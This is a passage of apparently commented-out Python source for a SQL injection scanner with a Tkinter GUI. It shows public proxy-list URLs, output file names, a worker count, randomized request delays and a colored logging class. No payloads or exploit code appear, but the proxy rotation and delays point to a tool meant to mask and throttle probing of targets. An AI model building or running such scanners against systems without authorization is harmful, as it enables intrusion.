# "https://www.proxy-list.download/api/v1/get?type=http",
# "https://api.proxyscrape.com/v2/?request=getproxies&protocol=http"
# ]
# RESULTS_FILE = "sqli_results.txt"
# HTML_REPORT = "sqli_report.html"
# MAX_WORKERS = 10
# REQUEST_DELAY = (1.0, 3.0) # Random delay range between requests
# VERBOSE = True # Global verbose flag
# class VerboseLogger:
# """Enhanced logging system with verbose output control"""
# def __init__(self, text_widget: tk.Text):
# self.text_widget = text_widget
# self.log_levels = {
# "DEBUG": "#AAAAAA",
# "INFO": "#FFFFFF",
# "SUCCESS": "#00FF00",
# "WARNING": "#FFFF00",
# "ERROR": "#FF0000",
# "CRITICAL": "#FF00FF"
# }
# def log(self, message: str, level: str = "INFO", component: str = "SYSTEM"):
# """Log a message with timestamp and coloring"""